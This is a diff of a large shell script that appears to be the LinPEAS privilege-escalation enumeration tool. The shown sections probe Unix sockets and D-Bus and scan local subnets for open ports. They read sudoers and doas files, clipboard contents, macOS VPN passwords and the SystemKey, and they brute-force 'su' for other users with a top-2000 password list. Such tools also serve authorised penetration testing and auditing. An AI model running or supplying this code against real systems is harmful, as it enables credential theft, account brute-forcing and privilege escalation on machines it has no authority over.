+ unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
+ fi
+ unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
+ fi
+
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+ # But also search socket files
+ unix_scks_list2=$(find / -type s 2>/dev/null)
+ else
+ unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
+ fi
+
+ # Detele repeated dockets and check permissions
+ (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
+ perms=""
+ if [ -r "$l" ]; then
+ perms="Read "
+ fi
+ if [ -w "$l" ];then
+ perms="${perms}Write"
+ fi
+
+ if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
+ CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
+ if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
+ perms="${perms} - Can Connect"
+ else
+ perms="${perms} - Cannot Connect"
+ fi
+ fi
+
+ if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
+ else
+ echo "$l" | sed -${E} "s,$l,${SED_RED},g"
+ echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
+ # Try to contact the socket
+ socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
+ if [ $? -eq 0 ]; then
+ owner=$(ls -l "$s" | cut -d ' ' -f 3)
+ echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
+ echo "$socketcurl" | head -n 30
+ fi
+ fi
+ done
+ echo ""
+fi
+
+#-- PSC) Writable and weak policies in D-Bus config files
+print_2title "D-Bus config files"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
+if [ "$PSTORAGE_DBUS" ]; then
+ printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
+ for f in $d/*; do
+ if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
+ echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
+ fi
+
+ genpol=$(grep "<policy>" "$f" 2>/dev/null)
+ if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
+ #if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
+
+ userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
+ if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
+ #for g in `groups`; do
+ # if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
+ #done
+ grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
+ if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
+
+ #TODO: identify allows in context="default"
+ done
+ done
+fi
+echo ""
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "D-Bus Service Objects list"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
+ dbuslist=$(busctl list 2>/dev/null)
+ if [ "$dbuslist" ]; then
+ busctl list | while read line; do
+ echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
+ if ! echo "$line" | grep -qE "$dbuslistG"; then
+ srvc_object=$(echo $line | cut -d " " -f1)
+ srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
+ if [ "$srvc_object_info" ]; then
+ echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
+ fi
+ fi
+ done
+ else echo_not_found "busctl"
+ fi
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q network_information; then
+print_title "Network Information"
+###########################################
+#---------) Network Information (---------#
+###########################################
+
+if [ "$MACOS" ]; then
+ print_2title "Network Capabilities"
+ warn_exec system_profiler SPNetworkDataType
+ echo ""
+fi
+
+#-- NI) Hostname, hosts and DNS
+print_2title "Hostname, hosts and DNS"
+cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null
+warn_exec dnsdomainname 2>/dev/null
+echo ""
+
+#-- NI) /etc/inetd.conf
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Content of /etc/inetd.conf & /etc/xinetd.conf"
+ (cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf"
+ echo ""
+fi
+
+#-- NI) Interfaces
+print_2title "Interfaces"
+cat /etc/networks 2>/dev/null
+(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
+echo ""
+
+#-- NI) Neighbours
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Networks and neighbours"
+ if [ "$MACOS" ]; then
+ netstat -rn 2>/dev/null
+ else
+ (route || ip n || cat /proc/net/route) 2>/dev/null
+ fi
+ (arp -e || arp -a || cat /proc/net/arp) 2>/dev/null
+ echo ""
+fi
+
+if [ "$MACPEAS" ]; then
+ print_2title "Firewall status"
+ warn_exec system_profiler SPFirewallDataType
+fi
+
+#-- NI) Iptables
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Iptables rules"
+ (timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) 2>/dev/null || echo_not_found "iptables rules"
+ echo ""
+fi
+
+#-- NI) Ports
+print_2title "Active Ports"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
+( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
+echo ""
+
+#-- NI) MacOS hardware ports
+if [ "$MACPEAS" ] && [ "$EXTRA_CHECKS" ]; then
+ print_2title "Hardware Ports"
+ networksetup -listallhardwareports
+ echo ""
+
+ print_2title "VLANs"
+ networksetup -listVLANs
+ echo ""
+
+ print_2title "Wifi Info"
+ networksetup -getinfo Wi-Fi
+ echo ""
+
+ print_2title "Check Enabled Proxies"
+ scutil --proxy
+ echo ""
+
+ print_2title "Wifi Proxy URL"
+ networksetup -getautoproxyurl Wi-Fi
+ echo ""
+
+ print_2title "Wifi Web Proxy"
+ networksetup -getwebproxy Wi-Fi
+ echo ""
+
+ print_2title "Wifi FTP Proxy"
+ networksetup -getftpproxy Wi-Fi
+ echo ""
+fi
+
+#-- NI) tcpdump
+print_2title "Can I sniff with tcpdump?"
+timeout 1 tcpdump >/dev/null 2>&1
+if [ $? -eq 124 ]; then #If 124, then timed out == It worked
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing"
+ echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED},"
+else echo_no
+fi
+echo ""
+
+#-- NI) Internet access
+if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then
+ print_2title "Internet Access?"
+ check_tcp_80 2>/dev/null &
+ check_tcp_443 2>/dev/null &
+ check_icmp 2>/dev/null &
+ check_dns 2>/dev/null &
+ wait
+ echo ""
+fi
+
+if [ "$AUTO_NETWORK_SCAN" ]; then
+ if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then
+ printf $RED"[-] $SCAN_BAN_BAD\n$NC"
+ echo "The network is not going to be scanned..."
+
+ elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then
+ printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC"
+ echo "The network is not going to be scanned..."
+
+ else
+ print_2title "Scanning local networks (using /24)"
+
+ if ! [ "$PING" ] && ! [ "$FPING" ]; then
+ printf $RED"[-] $DISCOVER_BAN_BAD\n$NC"
+ fi
+
+ select_nc
+ local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.")
+ printf "%s\n" "$local_ips" | while read local_ip; do
+ if ! [ -z "$local_ip" ]; then
+ print_3title "Discovering hosts in $local_ip/24"
+
+ if [ "$PING" ] || [ "$FPING" ]; then
+ discover_network "$local_ip/24" | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Network Discovery" | grep -v "Network Discovery" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > $Wfolder/.ips.tmp
+ fi
+
+ discovery_port_scan "$local_ip/24" 22 | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Ports going to be scanned" | grep -v "Ports going to be scanned" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> $Wfolder/.ips.tmp
+
+ sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips
+ rm $Wfolder/.ips.tmp 2>/dev/null
+
+ while read disc_ip; do
+ me=""
+ if [ "$disc_ip" = "$local_ip" ]; then
+ me=" (local)"
+ fi
+
+ echo "Scanning top ports of ${disc_ip}${me}"
+ (tcp_port_scan "$disc_ip" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
+ echo ""
+ done < $Wfolder/.ips
+
+ rm $Wfolder/.ips 2>/dev/null
+ echo ""
+ fi
+ done
+
+ print_3title "Scanning top ports of host.docker.internal"
+ (tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null
+ echo ""
+ fi
+fi
+
+if [ "$MACOS" ]; then
+ print_2title "Any MacOS Sharing Service Enabled?"
+ rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
+ scrShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.5900" | wc -l);
+ flShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep -E "\*.88|\*.445|\*.548" | wc -l);
+ rLgn=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.22" | wc -l);
+ rAE=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.3031" | wc -l);
+ bmM=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.4488" | wc -l);
+ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
+ echo ""
+ print_2title "VPN Creds"
+ system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 ": Password" | sed -${E} "s,Password|Authorization Name.*,${SED_RED},"
+ echo ""
+
+ if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Bluetooth Info"
+ warn_exec system_profiler SPBluetoothDataType
+ echo ""
+
+ print_2title "Ethernet Info"
+ warn_exec system_profiler SPEthernetDataType
+ echo ""
+
+ print_2title "USB Info"
+ warn_exec system_profiler SPUSBDataType
+ echo ""
+ fi
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q users_information; then
+print_title "Users Information"
+###########################################
+#----------) Users Information (----------#
+###########################################
+
+#-- UI) My user
+print_2title "My user"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users"
+(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
+echo ""
+
+if [ "$MACPEAS" ];then
+ print_2title "Current user Login and Logout hooks"
+ defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
+ echo ""
+
+ print_2title "All Login and Logout hooks"
+ defaults read /Users/*/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook"
+ defaults read /private/var/root/Library/Preferences/com.apple.loginwindow.plist
+ echo ""
+
+ print_2title "Keychains"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#chainbreaker"
+ security list-keychains
+ echo ""
+
+ print_2title "SystemKey"
+ ls -l /var/db/SystemKey
+ if [ -r "/var/db/SystemKey" ]; then
+ echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ fi
+ echo ""
+fi
+
+#-- UI) PGP keys?
+print_2title "Do I have PGP keys?"
+command -v gpg 2>/dev/null || echo_not_found "gpg"
+gpg --list-keys 2>/dev/null
+command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys"
+netpgpkeys --list-keys 2>/dev/null
+command -v netpgp 2>/dev/null || echo_not_found "netpgp"
+echo ""
+
+#-- UI) Clipboard and highlighted text
+if [ "$(command -v xclip 2>/dev/null)" ] || [ "$(command -v xsel 2>/dev/null)" ] || [ "$(command -v pbpaste 2>/dev/null)" ] || [ "$DEBUG" ]; then
+ print_2title "Clipboard or highlighted text?"
+ if [ "$(command -v xclip 2>/dev/null)" ]; then
+ echo "Clipboard: "$(xclip -o -selection clipboard 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ echo "Highlighted text: "$(xclip -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ elif [ "$(command -v xsel 2>/dev/null)" ]; then
+ echo "Clipboard: "$(xsel -ob 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ echo "Highlighted text: "$(xsel -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ elif [ "$(command -v pbpaste 2>/dev/null)" ]; then
+ echo "Clipboard: "$(pbpaste) | sed -${E} "s,$pwd_inside_history,${SED_RED},"
+ else echo_not_found "xsel and xclip"
+ fi
+ echo ""
+fi
+
+#-- UI) Sudo -l
+print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
+(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
+if [ "$PASSWORD" ]; then
+ (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo"
+fi
+( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers"
+if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
+ echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+fi
+for filename in /etc/sudoers.d/*; do
+ if [ -r "$filename" ]; then
+ echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
+ grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
+ fi
+done
+echo ""
+
+#-- UI) Sudo tokens
+print_2title "Checking sudo tokens"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
+ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
+if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
+ echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
+
+ if [ "$(command -v gdb 2>/dev/null)" ]; then
+ echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
+ fi
+
+ if [ "$CURRENT_USER_PIVOT_PID" ]; then
+ echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
+ fi
+
+ if [ -f "$HOME/.sudo_as_admin_successful" ]; then
+ echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
+ fi
+
+ if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
+ echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
+ ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
+ fi
+
+else
+ echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
+
+fi
+echo ""
+
+#-- UI) Doas
+if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then
+ print_2title "Checking doas.conf"
+ doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null)
+ if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then
+ cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW},"
+ else echo_not_found "doas.conf"
+ fi
+ echo ""
+fi
+
+#-- UI) Pkexec policy
+print_2title "Checking Pkexec policy"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
+(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
+echo ""
+
+#-- UI) Superusers
+print_2title "Superusers"
+awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED_YELLOW}," | sed "s,root,${SED_RED},"
+echo ""
+
+#-- UI) Users with console
+print_2title "Users with console"
+if [ "$MACPEAS" ]; then
+ dscl . list /Users | while read uname; do
+ ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
+ if grep -q "$ushell" /etc/shells; then #Shell user
+ dscl . -read "/Users/$uname" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ echo ""
+ fi
+ done
+else
+ no_shells=$(grep -Ev "sh$" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq)
+ unexpected_shells=""
+ printf "%s\n" "$no_shells" | while read f; do
+ if $f -c 'whoami' 2>/dev/null | grep -q "$USER"; then
+ unexpected_shells="$f\n$unexpected_shells"
+ fi
+ done
+ grep "sh$" /etc/passwd 2>/dev/null | sort | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ if [ "$unexpected_shells" ]; then
+ printf "%s" "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g"
+ echo "Unexpected users with shells:"
+ printf "%s\n" "$unexpected_shells" | while read f; do
+ if [ "$f" ]; then
+ grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g"
+ fi
+ done
+ fi
+fi
+echo ""
+
+#-- UI) All users & groups
+print_2title "All users & groups"
+if [ "$MACPEAS" ]; then
+ dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
+else
+ cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g"
+fi
+echo ""
+
+#-- UI) Login now
+print_2title "Login now"
+(w || who || finger || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+echo ""
+
+#-- UI) Last logons
+print_2title "Last logons"
+(last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_RED}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+echo ""
+
+#-- UI) Login info
+print_2title "Last time logon each user"
+lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+
+EXISTS_FINGER="$(command -v finger 2>/dev/null)"
+if [ "$MACPEAS" ] && [ "$EXISTS_FINGER" ]; then
+ dscl . list /Users | while read uname; do
+ ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2)
+ if grep -q "$ushell" /etc/shells; then #Shell user
+ finger "$uname" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
+ echo ""
+ fi
+ done
+fi
+echo ""
+
+#-- UI) Password policy
+if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Password policy"
+ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs"
+ echo ""
+
+ if [ "$MACPEAS" ]; then
+ print_2title "Relevant last user info and user configs"
+ defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null
+ echo ""
+
+ print_2title "Guest user status"
+ sysadminctl -afpGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
+ sysadminctl -guestAccount status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
+ sysadminctl -smbGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN},"
+ echo ""
+ fi
+fi
+
+#-- UI) Brute su
+if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
+ print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
+ POSSIBE_SU_BRUTE=$(check_if_su_brute);
+ if [ "$POSSIBE_SU_BRUTE" ]; then
+ SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1)
+ printf "%s\n" "$SHELLUSERS" | while read u; do
+ echo " Bruteforcing user $u..."
+ su_brute_user_num "$u" $PASSTRY
+ done
+ else
+ printf $GREEN"It's not possible to brute-force su.\n\n"$NC
+ fi
+else
+ print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
+fi
+print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q software_information; then
+print_title "Software Information"
+###########################################
+#--------) Software Information (---------#
+###########################################
+
+NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
+
+#-- SI) Useful software
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Useful software"
+ for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
+ echo ""
+fi
+
+#-- SI) Search for compilers
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Installed Compilers"
+ (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
+ echo ""
+
+ if [ "$(command -v pkg 2>/dev/null)" ]; then
+ print_2title "Vulnerable Packages"
+ pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g"
+ echo ""
+ fi
+
+ if [ "$(command -v brew 2>/dev/null)" ]; then
+ print_2title "Brew Installed Packages"
+ brew list
+ echo ""
+ fi
+fi
+
